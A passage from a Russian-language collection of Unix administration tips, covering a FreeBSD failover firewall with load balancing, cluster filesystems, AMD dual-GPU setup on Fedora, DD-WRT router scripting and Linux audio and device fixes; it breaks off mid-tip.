    ----* Как сделать отказоустойчивый брандмауэр с распределением нагрузки на FreeBSD (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Задача: 
    
    Сконфигурировать два или более отказоустойчивых брандмауэра на базе IPF с
    функцией балансировки нагрузки
    (далее - "FWLB") для кластера, предоставляющего сервис в сети Интернет.
    Если один из брандмауэров приходит в негодность, то его функции будет выполнять второй. 
    В этом случае мы получим высокодоступную систему с черезвычайно малым временем простоя и, 
    как мы надеемся, сэкономит немало средств на специализированных устройствах.
    	  
    Наша задача - получить нижепреведенную конфигурацию:
    
    
                             ~~~
                           ( net )
                             ~~~
                              |
                              |
                              |
                          ----------
                         |  switch  |
                          ---------- 
                          /        \
                         /   VIP    \
                 ---------         --------
                |  fwlb1  |       | fwlb2  |
                 ---------         --------
                        \    VIP   /
                         \        /
                          ---------
                         | switch |
                          ---------
                          /      \ 
                         /        \
                  ---------        ---------
                 | server1 |      | server2 |
                  ---------        ---------
    
                   
    Где первый VIP (Virtual IP) это публичный IP адресс вашего сайта, 
    а второй - приватный IP согласно RFC 1918, который будет использоваться 
    серверами в качестве шлюза по умолчанию.
    
    
    Требования:
    
    - Два сервера с FreeBSD-STABLE. У каждого из них - по 2 сетевые карты
    - Два коммутатора/хаба
    - Два или более серверов для кластера, на котором запущен предоставляемый сервис
    - /usr/ports/net/pen
    - /usr/ports/net/freevrrpd
    - /usr/ports/sysutils/daemontools или /usr/ports/sysutils/runit
    - Ядро, скомпилированное с опциями IPFILTER и IPFILTER_LOG
    
    
    Pen является простым, но гибким балансировщиком.
    FreeVRRPd будет обеспечивать отказоустойчивость. 
    Daemontools(или runit, с более дружественной лицензией и похожим функционалом)
    не является необходимым,
    но весьма полезен для контроля и управления процессами, поэтому тоже рекомендован к использованию.
    	
    Выполнение:
    
    Часть 1: Брандмауэр
    
    Создайте набор правил IPF(или IPFW, или PF), разрешающий трафик на стороне сервиса, 
    который нуждается в балансировке. По желанию, разрешите доступ к кластеру серверов через NAT, 
    если есть необходимость в исходящих соединениях.  Конфигурирование IPF/IPNAT не
    рассматривается в данной статье,
    но на эту тему написано достаточно много. Два пункта, которые очень важно иметь в виду, 
    заключаются в том, что вам необходимо удостовериться, что разрешен multicast между брандмауэрами 
    (необходимо для работы VRRP) и запрещен для всех других хостов (иначе возникнет
    угроза безопасности).
    Для получения ополнительной информации по IPF, обратитесь к:
                   
     http://www.nwo.net/ipf/ipf-howto.html
     http://coombs.anu.edu.au/~avalon/ip-filter.html   
            
    Скомпилировав ядро с опциями, указанными выше, вносим следующие изменения в /etc/rc.conf:
                
                    ipfilter_enable="YES"
                    ipfilter_rules="/etc/ipf.conf"
                    ipnat_rules="/etc/ipnat.conf" 
                    ipnat_flags="-CF"
                    ipmon_enable="YES"
    
    И переносим набор правил в указанные места.
    
    
    
    Часть 2: Балансировщик
    
    1) Создаем необходимых пользователей и каталоги.
    
            mkdir -p /etc/supervise/pen/log
            mkdir -p /var/chroot/pen
            mkdir -p /var/log/pen
            pw useradd pen -s /bin/false -d /var/chroot/pen
            pw useradd penlog -s /bin/false -d /var/chroot/pen
            chown penlog:pen /var/log/pen
    
    2) Создаем файлы, необходимые для запуска pen.
    
            cd /etc/supervise/pen
            cat << _EOF_ > run
            #!/bin/sh
    
            exec 2>&1
            exec pen -d -u pen -j /var/chroot/pen -C localhost:8888 -f -r 80 hostname1 hostname2
    
            _EOF_
            chmod 755 run
            cd log
            
            cat << _EOF_ > run
            #!/bin/sh
            
            exec /usr/local/bin/setuidgid penlog /usr/local/bin/multilog s999999 n20 /var/log/pen
    
            _EOF_
            chmod 755 run
    
    
    Так мы сконфигурируем pen для запуска в pen в /var/chroot/pen и портом управления 8888. 
    Он будет балансировать входящий 80 порт на порт 80 hostname1 на hostname2. 
    Тип балансировки - round-robin - если необходимы постоянные сессии, удалите флаг "-r".
    В этом примере pen запущен в режиме отладки, что упростит настройку. 
    При промышленном использовании можно удалить флаг "-d". 
          
    3) Запуск балансировщика нагрузки.
    
            cd /service
            ln -s /etc/supervise/pen
            echo "csh -cf '/usr/local/bin/svscanboot &'" >> /etc/rc.local
            csh -cf '/usr/local/bin/svscanboot &'
            sleep 5 && svstat pen
    
    Теперь вы с помощью браузера можете удостовериться, что балансировка работает.
    
    Так же изучите /var/log/pen/current на обоих брандмауэрах.
    
    
    
    Часть 3: Отказоустойчивость
    
    1) Сперва сконфигурируйте syslog для сбора сообщений VRRP.
    
            touch /var/log/freevrrpd.log
            cat << _EOF_ >> /etc/syslog.conf
    
            !freevrrpd
            *.*                     /var/log/freevrrpd.log
    
            _EOF_
    
    
    2) Конфигурирование FreeVRRPd
           
    До этого пункта, обе машины были равноправны.    Теперь вам необходимо выбрать,
    какой FWLB будет primary.
    На этой машине скопируйте /usr/local/etc/freevrrpd.conf.sample в /usr/local/etc/freevrrpd.conf. 
    
    Отредактируйте файл, как показано ниже:
    
            # public-facing VRID
            [VRID]
            serverid = 1
            interface = fxp0
            priority = 255
            addr = 198.123.111.1/32
            password = vrid1
            vridsdep = 2
    
            # backend VRID
            [VRID]
            serverid = 2
            interface = fxp1
            priority = 255
            addr = 10.0.0.1/32
            password = vrid2
            vridsdep = 1
    
    В результате мы получим 2 VRID - один для внешней сети, второй для внутренней, 
    который будет использоваться кластером серверов.
    В этом примере оба VRIDs сконфигурированы, чтобы считать этот хост главным при выборах VRRP.
                   
    Заметьте - оба VRID зависят друг от друга, что определено полем "vridsdep". 
    Это означает, что, если один из интерфейсов в FWLB падает, другой автоматически
    перейдет в резервный режим,
    переводя оба интерфейса на резервный FWLB. 
    
    Это позволит избежать попыток отправить данные через брандмауэр с упавшим внешним интерфейсом.
    
    Теперь вы должны скопировать этот файл на slave FWLB, и изменить оба поля
    priority на значение 100.
    Измените пароль на что-то более безопасное, чем на примере, но особо не
    расчитывайте на пароли VRRP
    в плане безопасности. Если другой брандмауэр, находящийся вне связки сможет
    общаться с вашими по VRRP,
    то у вас будут проблемы.
      
    3) Запуск FreeVRRPd
    
    Теперь вы можете запустить freevrrpd на обоих брандмуэрах:
    
            cp /usr/local/etc/rc.d/freevrrpd.sh{.sample,}
            /usr/local/etc/rc.d/freevrrpd.sh start
    
    
    Часть 4: Проверка отказоустойчивости
    
    Теперь нам необходимо проверить получившуюся систему на отказоустойчивость. 
    Сперва только надо запустить на обоих FWLB SSH, чтобы была возможность 
    проверять правильность переключения интерфейсов. Попробуйте следующие сценарии:
    
      - С одной из машин кластера залогиньтесь по SSH на 10.0.0.1(внутренний интерфейс). 
        Убедитесь, что это именно master FWLB.
      - Сделайте попытку соединения на 198.123.111.1(внешний интерфейс), порт 80 и 
        посмотрите /var/log/pen/current, чтобы проверить факт соединения. 
      - Отключить внешний интерфейс FWLB1.
      - Проверьте логи на FWLB2.  Сделайте попытку соединения на 198.123.111.1, 
        порт 80, чтобы проверить факт соединения.
      - Зайдите по SSH на 10.0.0.1.  Вы должны увидеть FWLB2 в баннере SSH.
      - Подключите внешний интерфейс к FWLB1.  Проверьте, что оба интерфейса FWLB1 вернулись в состояние master.
    
    Теперь повторите тест, отключая внутренний интерфейс. Если есть такое желание, 
    то можно просто нажать Reset на FWLB1.
           
    Примечания:
    
    Удаление серверов из пула:
    
    Pen не может перманентно удалить сервера из пула, но мы можем указать ему игнорировать сервер, 
    пока, например, идет его обновление или что-то подобное. Для этого выполните команду:
    
       penctl localhost:8888 server $servername blacklist 99999
    
    Это поместит сервер в черный список на 99999 секунд. Для возвращения сервера в
    пул выполните команду:
    
       penctl localhost:8888 server $servername blacklist 1
    
    Так мы выставим таймаут черного списка в 1 секунду, после чего сервер вернется в пул.
    
    Перманентное удаление или добавление серверов в пул:
    
    В случае, если есть необходимость добавить или удалить из пула несколько серверов, 
    нужно отредактировать файл /service/pen/run. Просто добавьте имена хостов в
    конец команды запуска pen и выполните:
    
       svc -t /service/pen
    
    Эта команда пошлет сигнал TERM и перезапустит pen. Хотя эта операция и не
    должна сказаться на доступности сервиса,
    лучше такие вещи делать в специально определенное время. 
    
    Ссылки:
    
     http://www.faqs.org/rfcs/rfc2338.html
     http://www.bsdshell.net/hut_fvrrpd.html
     http://siag.nu/pen/
     http://cr.yp.to/daemontools.html
     http://smarden.org/runit
    
    
    © 2004 David Thiel --- lx [@ at @] redundancy.redundancy.org
    
     
    ----* Обзор сетевых и кластерных ФС: Lustre, GFS, AFS, GFarm (доп. ссылка 1)   Автор: johnjoy  [комментарии]
     Lustre - кластерная ФС, AFS - сетевая ФС.

    Если подробнее - то AFS относится примерно к тому классу, в котором сидят NFS, SMB, и win2K3 DFS. Основная их задача - качественный доступ к различным (раскиданным по сети) ресурсам, с соблюдением блокировок и напором на контроль доступа и централизованное управление. Здесь четко прослеживается модель "клиент-сервер" - большинство участников сетовой ФС являются клиентами, а под шары выделяются чаще отдельные серваки. С точки зрения производительности для такой ФС критериями являются пропускная способность сервер-клиент и количество поддерживаемых коннектов. Масштабируется такая ФС вертикально - более шустрым железом. Надежность тоже поддерживается на уровнях ниже сетевой ФС (RAID, репликация средствами ОС и администратором 24/7 на мобильном =)

    Кластерных ФС известно негусто - навскидку Lustre, Google FS (+Hadoop), что-то было у IBM.

    Отличительная особенность - все участники ФС унифицированы и являются и серверами и клиентами ФС (это именно особенности реализации, конечно же можно и настроить для работы как "несколько серверов - много клиентов", но преимуществ в этом случае не получите, скорее наоборот)

    Обычный принцип действия - работа на уровне блоков: разбитый на блоки файл "размазывается" по нескольким серверам, при его чтении клиент сам собирает блоки в файл. (Комментарий Алексея: Это Google FS & RedHat GFS.. в люстре оперируют понятием объект).

    Критерии оценки таких ФС - общая пропускная способность ФС кластера (то есть сколько гб/с крутится в пределах кластера) и латентность (задержка между запросом файла и его получением). Также тут важна надежность - все блоки реплицируются на уровне ФС, вылет нода не сказывается на работе кластера.

    ФС этого класса очень разные. Lustre заточена под hiperf вычисления с низкой латентностью, посему пользуют что-нить типа InfiniBand и нестандартные MPI. Lustre замонтированая представляет из себя слегка урезaную ext3 для 2.4 ядер, для 2.6 используется ldiskfs которая значительно ближе к ext4.

    Google FS и Hadoop - вообще с классической точки зрения не ФС, ибо ничего не монтируют а предоставляют RPC API для разработчиков. Рассчитаны они на гигантские объемы информации, работу в основном на чтение большими блоками (в мегабайтах, стандартный блок такой ФС - 32-64Мб) и в очень больших количествах.

    Также есть shared storage FS - эти нужны при работе нескольких (многих) серверов с внешними дисковыми массивами. Основная задача - обеспечить быструю и правильную блокировку совместного доступа (via SAN, iSCSI, SCSI). Без них фактически каждый сервер должен работать со своим личным выделенным на массиве разделом. Из известных - GFS от RedHat, Oracle Cluster File System, PolyServe и Veritas CFS.

    RedHat GFS - раздает raw девайс и пытается управлять блокировками на уровне блоков, без учета логической организации.

    gfarm изначально позиционирует себя для таковой модели использования: есть много данных, распределенных по нодам, нужно их все параллельно обработать. В случае люстры и подобных - compute node сначала фетчит себе данные из кластерной фс, обрабатывает и возвращает обратно (отсюда требования к пропускной способности и латентности). В случае gfarm - задание по обработке для compute нода попадает благодаря gfarm именно на тот нод, где локально лежит одна из реплик требуемых данных. Соответственно по сети происходит трансфер задания на обработку данных , а не самих данных. (например, здесь, да и вообще тут- большинство тем именно parallel computing, а не distributed fs).

    Некая сборная информация есть в wikipedia.

     

       Поддержка аппаратного обеспечения

    ----* Использование в Linux дискретной видеокарты AMD Radeon вместе со встроенной Raven Ridge   Автор: nobody  [комментарии]
     
    Разговор пойдёт об AMD APU Ryzen 3 2200G, Ryzen 5 2400G и подобных им.
    
    В обсуждениях на англоязычных форумах упоминается, что iGPU Vega10 более
    технологически продвинут, и, в принципе, он может быть использован как
    ведущий адаптер для dGPU предыдущих версий GCN 1,2,3 в рамках модели
    памяти iGPU Vega10 (GCN 5).
    
    Однако, с одной стороны это потребует большое количество человеко-часов для
    написания таких драйверов под OS Linux. А, с другой стороны, новые адаптеры
    линии RDNA полностью соответствуют этой модели памяти. И, в принципе,
    состыковка iGPU Vega10 с dGPU RDNA, есть задача более простая и более перспективная.
    
    Поэтому, в ближайшее время нормальной состыковки видеокарт GCN 1,2,3 и iGPU
    Vega10 (GCN 5) в Linux, судя по всему, ожидать не приходится.
    
    Соответственно, всё, что описано далее, это воркэраунд для сложившейся ситуации.
    
    
    Пошаговая инструкция
    
    Вот работоспособная конфигурация:
    
    (01) Устанавливаем Fedora 31 (я использовал версию с MATE GUI).
    Не забываем сразу добавить пользователя в группу video .
    
    
    (02) Загружаем пакет kernel-5.3.16-300.fc31.src.rpm, и разворачиваем его для
    компиляции в ${HOME}/rpmbuild/SOURCES/
    
    
    (03) Идём на страничку
    https://github.com/RadeonOpenCompute/ROCK-Kernel-Driver/issues/66  и загружаем
    оттуда патч под нашу версию ядра
    0003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch.txt
    по ссылке
    https://github.com/RadeonOpenCompute/ROCK-Kernel-Driver/files/3614247/0003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch.txt
    
    Попутно читаем на английском про особенности работы встроенной карты, там много удивительного.
    
    Выжимка, кому интересно, иначе можно пропустить:
    
    
  • модель памяти у iGPU и dGPU различна;
  • драйвер amdkfd по умолчанию использует модель памяти адаптера, проинициализировавшегося первым;
  • не смотря на то, что dGPU может быть первым и будет использована его модель памяти, тем не менее iGPU Vega10 более технологически продвинут и именно он получит первый номер во внутреннем дереве топологии драйвера amdkfd, что в общем-то неправильно, так как карта адаптеров и фактическое их наличие не будут соответствовать друг другу. Как результат, оба GPU будут нерабочими в ROCm (и не только в нём);
  • двое разработчиков ROCm под никами fxkamd и Djip007 сформировали патч для драйвера amdkfd, позволяющий на этапе загрузки ядра сказать драйверу amdkfd, какую модель памяти использовать и какие адаптеры допустимы в дереве топологии amdkfd, скажем "Большое Спасибо!" им за это. (04) Копируем патч в каталог ${HOME}/rpmbuild/SOURCES/ $ cp 003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch.txt ${HOME}/rpmbuild/SOURCES/003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch Исправляем в kernel.spec %global baserelease 300 на произвольное большее %global baserelease 307 Добавляем в kernel.spec после описания всех патчей, после строки Patch536: ..... строку с описанием нового патча Patch537: 0003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch как раз перед строкой # END OF PATCH DEFINITIONS Делаем линк kernel.spec: $ cd ${HOME}/rpmbuild/SPECS/ $ ln ../SOURCES/kernel.spec Запускаем сборку пакетов ядра с патчем: $ rpmbuild -ba --nodebuginfo --target x86_64-redhat-linux --define "%_without_debug 1" --define "%set_build_flags echo" --define "%make_build make" --define "%make_install make install DESTDIR=%{buildroot}" kernel.spec Внимание, потребуется много места на диске! В моём случае сборки для x86_64 конфигов это было около 27 GB временных файлов. По завершении сборки в директории ${HOME}/rpmbuild/RPMS/x86_64/ будут лежать новые пакеты: kernel-5.3.16-307.fc31.x86_64.rpm kernel-core-5.3.16-307.fc31.x86_64.rpm kernel-debuginfo-5.3.16-307.fc31.x86_64.rpm kernel-debuginfo-common-x86_64-5.3.16-307.fc31.x86_64.rpm kernel-devel-5.3.16-307.fc31.x86_64.rpm kernel-modules-5.3.16-307.fc31.x86_64.rpm kernel-modules-extra-5.3.16-307.fc31.x86_64.rpm Устанавливаем это новое ядро и его модули (естественно, с опцией --nogpgcheck). (05) Обновляем загружаемый микрокод для видеокарт: # dnf upgrade linux-firmware libclc (06) Добавляем в настройки dracut несколько опций # cat /etc/dracut.conf.d/my20200224.conf add_drivers+=" amd_iommu_v2 amdgpu nvme_core nvme " fw_dir+=" /lib/firmware/amdgpu " install_items+=" /lib/firmware/amdgpu/raven_* /lib/firmware/amdgpu/polaris* " (07) Аккуратно настраиваем X-сервер в /etc/X11/xorg.conf. Чтобы он видел dGPU как первичный адаптер, а iGPU , как вторичный адаптер без экрана. Однако к монитору iGPU должен быть подключен физически (или к его HW-эмулятору). Создаём шаблон xorg.conf командой: # X -configure Затем копируем его в /etc/X11/xorg.conf и редактируем, оставляя:
  • Layout0 с двумя картами Card0 и Card1
  • Card0 это первичный dGPU с монитором и экраном, с точным указанием BusID
  • Card1 это вторичный iGPU без монитора и без экрана, с точным указанием BusID Например: Section "Device" # dGPU Identifier "Card0" Driver "amdgpu" BusID "PCI:1:0:0" Option "TearFree" "True" Option "Accel" "True" EndSection Section "Device" # iGPU Identifier "Card1" Driver "amdgpu" BusID "PCI:9:0:0" EndSection Ваши GPU могут иметь другие номера на шине pci, смотрим командой: # lspci -v ..... Пропускаем секции "Monitor1" и "Screen1" для iGPU в нашем случае, как это регламентировано в мануале для xorg.conf. Просто комментируем соответствующие разделы: #Section "Monitor" # Identifier "Monitor1" ..... #Section "Screen" # Identifier "Screen1" ..... (08) Добавляем опцию для kfd из рекомендаций установки ROCm: # cat /etc/udev/rules.d/70-kfd.rules SUBSYSTEM=="kfd", KERNEL=="kfd", TAG+="uaccess", GROUP="video", MODE="0660" Это позволит работать с dGPU пользователю из группы video. (09) Перегенерим initramfs: # dracut --force --kver 5.3.16-307.fc31.x86_64 (10) Добавляем в настройки grub2 несколько опций ядра для загрузки: amd_iommu=fullflush iommu=pt video=efifb:off amdgpu.rocm_mode=2 (11) Дополнительно, устанавливаем воркэраунд от некогерентности кэша для GCN 1,2,3,5 видеокарт: # cat /etc/environment AMD_DEBUG=nongg,nodma RADV_DEBUG=nongg DRI_PRIME=0 К сожалению, воркэраунды снижают производительность от 1.5 до 15 раз (судя по тесту Glmark2), но зато дают стабильность GUI-десктопу. Для RDNA 1,2 видеокарт вроде бы это не нужно, но я не проверял, так как не на чем. Перезагружаемся. (12) Настраиваем в EFI dGPU как первичную видеокарту, а iGPU, соответственно, становится вторичной видеокартой, урезаем ей RAM до 64 MB. Загружаемся. Вот и всё. Проверка Теперь проверяем корректность результата. # dmesg | grep -i -e amdgpu -e kfd -e drm -e ttm -e atomic -e crat ..... [ 3.414606] kfd kfd: Ignoring ACPI CRAT on disabled iGPU (rocm_mode!=ROCM_MODE_IGPU) ..... [ 3.667325] kfd kfd: added device 1002:wxyz ..... [ 3.733956] kfd kfd: skipped DID 15dd, don't support dGPU memory management models ..... Выбрана модель памяти для dGPU, добавление iGPU в топологию kfd пропущено, а топология kfd для dGPU сформирована правильно. # lspci -nnk -d 1002: 01:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI] ..... Subsystem: ..... Kernel driver in use: amdgpu Kernel modules: amdgpu 09:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI] Raven Ridge [Radeon Vega Series / Radeon Vega Mobile Series] [1002:15dd] (rev c8) Subsystem: ..... Kernel driver in use: amdgpu Kernel modules: amdgpu 09:00.1 Audio device [0403]: Advanced Micro Devices, Inc. [AMD/ATI] Raven/Raven2/Fenghuang HDMI/DP Audio Controller [1002:15de] Subsystem: ..... Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel Всем видны оба видео-адаптера AMD на pci шине: и dGPU и iGPU. Важно, чтобы неиспользуемый iGPU контроллировался ядерным драйвером amdgpu. Если этого не будет (например, можно удалить устройства из дерева pci средствами udev на раннем этапе загрузки), то iGPU будет сильно греть APU (max 75*C вместо max 60*C). И это при том, что сам iGPU вообще не будет никак использоваться. Может возникнуть впечатление, что появились проблемы с кулером APU, но это не так. $ less /var/log/Xorg.0.log [ 15.962] (**) ServerLayout "Layout0" [ 15.962] (**) |-->Screen "Screen0" (0) [ 15.962] (**) | |-->Monitor "Monitor0" [ 15.962] (**) | |-->Device "Card0" [ 15.962] (**) | |-->GPUDevice "Card1" [ 15.962] (**) |-->Input Device "Mouse0" [ 15.962] (**) |-->Input Device "Keyboard0" ..... [ 15.964] (II) xfree86: Adding drm device (/dev/dri/card0) [ 15.970] (II) xfree86: Adding drm device (/dev/dri/card1) [ 15.973] (--) PCI:*(1@0:0:0) ..... [ 15.973] (--) PCI: (9@0:0:0) ..... ..... [ 15.979] (II) LoadModule: "amdgpu" [ 15.980] (II) Loading /usr/lib64/xorg/modules/drivers/amdgpu_drv.so ..... [ 15.983] (II) AMDGPU: Driver for AMD Radeon: All GPUs supported by the amdgpu kernel driver [ 15.983] (II) modesetting: Driver for Modesetting Kernel Drivers: kms [ 15.983] (II) AMDGPU(0): [KMS] Kernel modesetting enabled. ..... Т.е. видим, что X-сервер обнаружил обе видеокарты, но активно использует только одну и именно дискретную видеокарту. Далее можем, например, установить ROCm 3 _без_ dkms драйвера в соответствие с родной инструкцией: # dnf install rocm-dev rocm-libs Следующие программы дополнительно покажут корректность описанной выше пошаговой настройки. rocm-smi нормально отображает всю статистику по dGPU и управляет ею. rocminfo отрабатывает без ошибок и отображает 2 вычислительных агента CPU и gfx803. clinfo отрабатывает без ошибок и отображает 1 платформу AMD-APP и 1 устройство gfx803 (не считая Mesa Clover и Pocl). hashcat видит устройство и работает нормально. (Самосборный пакет из оригинальных исходников, т.к. из репозитория Fedora 31 сборка имеет урезанную функциональность и проблемы с запуском.) Компилятор AOMP в составе ROCm 3.1 проходит успешно 67 тестов из 69 из приложенного набора тестов smoke. vainfo , vdpauinfo отрабатывают нормально. Итоги В результате настройки получаем устойчивый GUI-десктоп с корректно работающим dGPU и с условно корректно отключенным, "не используемым" iGPU. Дополнительно PS: Пока удалось нарушить работу dGPU, только используя в Avidemux HW-кодер "Intel AVC HW (VA)". В то же время HW-кодер "Intel HEVC" в Avidemux работает довольно быстро. А "Intel H264" не работает совсем, и, судя по всему, встройка тут не при чём. Запуск командой: $ ( DRI_PRIME=1 avidemux3_qt5 ) позволяет использовать встроенные HW-кодеры "не используемого" iGPU, работают они примерно так же. PPS: В принципе, в ядро 5.6 были добавлены полезные патчи для Raven iGPU, и, с применением воркэраунда для Mesa 19.2.8 # cat /etc/environment AMD_DEBUG=nongg,nodma,nodcc RADV_DEBUG=nongg DRI_PRIME=0 стало возможным использовать Raven iGPU как первичную видеокарту в EFI, а dGPU использовать вторичной видеокартой. Соответственно, просто меняем местами BusID карт в xorg.conf , и включаем вторичную dGPU в MATE: меню System -> Control Center -> Displays -> второй дисплей , ON , Applay , Close (настройка сохраняется в ${HOME}/.config/dconf/). В этом случае производительность dGPU в графике снижается. Зато появляется возможность работать с tensorflow-rocm при 100% нагрузке dGPU без замираний первичного экрана, и наблюдать происходящее в процессе. И, однако, попутно выясняется, что ядро 5.6.8 (со своим таким же патчем с той же веб-странички) _не_ загружается с primary dGPU в EFI. Возможно, что для сочетаний конкретных APU и MainBoard это вылечится обновлением Grub2 до актуальной версии. Вероятно, старая версия Grub2 неправильно транслирует какие-то параметры ядру из EFI. Этот момент и более поздние версии ядер 5.6.n и 5.7.n , пардон, проверить не успел, т.к. заапгрейдил APU на обычный CPU Ryzen без iGPU. Перспективы Общие соображения, которые с одной стороны можно было бы и не добавлять в статью, а с другой, почему бы и не добавить. Судя по всему, RDNA 1 и 2 как архитектуры GPU есть шаги по направлению к когерентной архитектуре Gen-Z. Это означает, что:
  • основной свичованой шиной станет CCIX как приоритезированный PCIe Gen4 (и выше)
  • RAM будет выделена в отдельные модули на CCIX-шине
  • контроллер памяти будет в диспетчере и каждом модуле RAM
  • кэши CPU, GPU, RAM, плат расширения будут когерентны
  • IOMMUv2 (или выше) будет обязателено by design
  • GPU станут более самостоятельными относительно CPU (как вычислительные устройства)
  • iGPU / APU не вполне вписываются в эту концепцию Выводы, конечно же, каждый сделает сам.
  •  
    ----* Установка прав на использование USB сканера в Ubuntu 8.10   Автор: kmax  [комментарии]
     
    В правилах udev не было моего сканера, и поэтому сканер работал только через sudo
    
       $ sudo scanimage -L
       device 'gt68xx:libusb:003:003' is a Mustek ScanExpress 1248 UB flatbed scanner
    
       $ scanimage -L                                              
    
       No scanners were identified. If you were expecting something different,
       check that the scanner is plugged in, turned on and detected by the    
       sane-find-scanner tool (if appropriate). Please read the documentation 
       which came with this software (README, FAQ, manpages).                 
    
    
    Решение.
    
    смотрим:
    
       $ sudo sane-find-scanner
    
    видим:
    
       found USB scanner (vendor=0x055f, product=0x021f [USB Scanner], chip=GT-6816) at libusb:003:002
    
    Если  в правилах udev для сканеров нет vendor=0x055f, product=0x021f, то файлу
    устройства не присвоят правильную группу
    
       $ sudo vi /etc/udev/rules.d/50-libsane-extras.rules
       (у вас может быть другой файл, найти его не составит труда)
    
    И по аналогии добавляем наш сканер
    добавляем в группу scanner всех нужных пользователей
    
       $ sudo vi /etc/group
       $ sudo /etc/init.d/udev restart
       $ scanimage -L
       device 'gt68xx:libusb:003:002' is a Mustek ScanExpress 1248 UB flatbed scanner
    
    xsane тоже заработал
    
    Те же действия могут помочь в аналогичных ситуациях с другими редкими устройствами
    
     
    ----* JFFS и мониторинг активности wifi на роутере Linksys WRT54GL (доп. ссылка 1)   Автор: Sergey Volhin  [обсудить]
     
    Расскажу о двух возможностях, которые можно реализовать на роутере
     с прошивкой DD-WRT на примере роутера Linksys WRT54GL.
    
    1) Файловая система JFFS.
    
    На роутере можно без труда организовать небольшое энергонезависимое хранилище файлов.
    Для этого в веб-интерфейсе включаем поддержку jffs (по туториолу из официального вики dd-wrt):
    
    1. Откройте вкладку "Administration".
    2. Перейдите к секции "JFFS2 Support".
    3. Кликаем "Enable JFFS".
    4. Затем жмём "Save".
    5. Ждём несколько секунд и жмём "Apply".
    6. Опять ждём. Идём обратно к опции "Enable JFFS", кликаем "Clean JFFS".
    7. Не кликая "Save", жмём вместо этого "Apply".
    
    Теперь если мы приконнектимся к роутеру по ssh команда "df -h" расскажет нам о
    наличие новой файловой системы,
    смонтированной в каталоге /jffs/, и её размере (размер очень сильно зависит от
    типа вашей прошивки,
    для получения хоть сколько-нибудь полезного свободного пространства для jffs
    рекомендуется установить mini-версию dd-wrt).
    
    
    
    2) Индикация активности wifi по лампе на корпусе роутера.
    
    Теперь используем возможности jffs - разместим на ней скрипт (с того же вики
    dd-wrt), который заставляет
    гореть лампу янтарным светом при подключенных wifi-клиентах и мигать белым при
    трансфере данных через WLAN.
    
    Для установки скрипта:
    
    1. Коннектимся по ssh.
    2. Переходим в каталог /jffs/ и создаем директорию bin:
    
       # cd /jffs/
       # mkdir ./bin
    
    3. Как видно /jffs/bin уже прописан в переменной поиска команд PATH:
    
       # echo $PATH
       /bin:/usr/bin:/sbin:/usr/sbin:/jffs/sbin:/jffs/bin:/jffs/usr/sbin:/jffs/usr/bin
    
    4. Создаем файл скрипта (# vi ./wlan.sh) со следующим содержанием:
    
    
        #!/bin/sh
        I=`nvram get wl0_ifname`
        while sleep 1; do
        if [ "`wl assoclist`" != "" ]; then
         XFER=`ifconfig $I|grep bytes`
         if [ "$XFER" != "$PXFER" ]; then
           LED='gpio disable 3 ; gpio disable 2'
           PXFER=$XFER
         else
           LED='gpio disable 3 ; gpio enable 2'
         fi
        else
         LED='gpio enable 3 ; gpio enable 2'
        fi
        if [ "$LED" != "$PLED" ]; then
         eval $LED
         PLED=$LED
        fi
        done
       
    
    5. Делаем скрипт исполняемым:
    
       # chmod +x ./wlan.sh
    
    
    Готово!
    Скрипт теперь можно запускать командой wlan.sh или прописать в автозагрузку.
    
    
    
    Оригинал в блоге по ссылке: http://damnsmallblog.blogspot.com/2008/03/jffs-wifi-linksys-wrt54gl.html
    
     
    ----* Как избавиться от щелчков при запуске приложений на системах с чипами Intel (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    При щелчках в колонках в процессе работы следует выключить режим
    энергосбережения у звукового драйвера:
    
       sudo tee /etc/modprobe.d/snd-hda-intel.conf <<< "options snd_hda_intel power_save=0" 
    
     
    ----* Решение проблемы с исчезновением устройств вывода звука в Ubuntu 20.04 (доп. ссылка 1) (доп. ссылка 2)   Автор: Аноним  [комментарии]
     
    Пропал звук. Pulseaudio показывает в качестве выходного устройства Dummy Output.
    
    Звуковая карта snd-hda-intel. Манипуляции 
    
       echo "options snd-hda-intel model=generic" | sudo tee -a /etc/modprobe.d/alsa-base.conf
       echo "options snd-hda-intel dmic_detect=0" | sudo tee -a /etc/modprobe.d/alsa-base.conf
       echo "blacklist snd_soc_skl" | sudo tee -a /etc/modprobe.d/blacklist.conf
    
    с перезагрузкой не дали ничего. Потом стал вспоминать, что делал до того, как
    исчез звук. Подключал Bluetooth колонки.
    
    Залез в настройки Bluetooth, потёр всё. Звук появился. Какой-то глюк в bluez5.
    
    В другой ситуации звук исчез (также остался только "dummy output") после
    обновления с Ubuntu 18.04 до 20.04. Помогло удаление пакета timidity:
    
        sudo apt purge timidity-daemon
    
     
    ----* Решение проблемы с зависанием графической подсистемы на компьютерах с APU AMD (доп. ссылка 1)   [комментарии]
     
    При использовании ядер Linux 5.2+ на компьютерах с APU AMD (например, Ryzen 5)
    отмечаются зависания графической подсистемы, устраняемые только перезагрузкой.
    При зависании в логе отображаются записи вида "drm:amdgpu... Waiting for fences
    timed out or interrupted!".
    
    Кроме отката системы на старые выпуски ядра Linux, в качестве обходного
    варианта блокирования проблемы помогает загрузка ядра с параметром "amdgpu.noretry=0".
    
     
    ----* Отключение wakeup для PCIe устройств   Автор: Аноним  [комментарии]
     
    Краткий экскурс в историю или как это было раньше.
    
    В файле /proc/acpi/wakeup перечислены устройства и возможность пробуждать
    компьютер из S3 с их стороны. Структура файла wakeup достаточна проста:
    
       <acpi device name> <S-state> <Status> <Sysfs node>
    
    Небольшой пример
    
       cat /proc/acpi/wakeup | grep enabled
       EHC1      S4    *enabled   pci:0000:00:1d.0
       XHC       S4    *enabled   pci:0000:00:14.0
       LID0      S3    *enabled   platform:PNP0C0D:00
    
    Для отключения замечательной функции "Пробуждение по клику мышки" ранее требовалось просто сделать 
    
       echo EHC1 > /proc/acpi/wakeup 
    
    
    Современность
    
    А в современном мире устройств стало много, а имена им в dsdt таблице стали давать одинаковые.
    Небольшой пример:
    
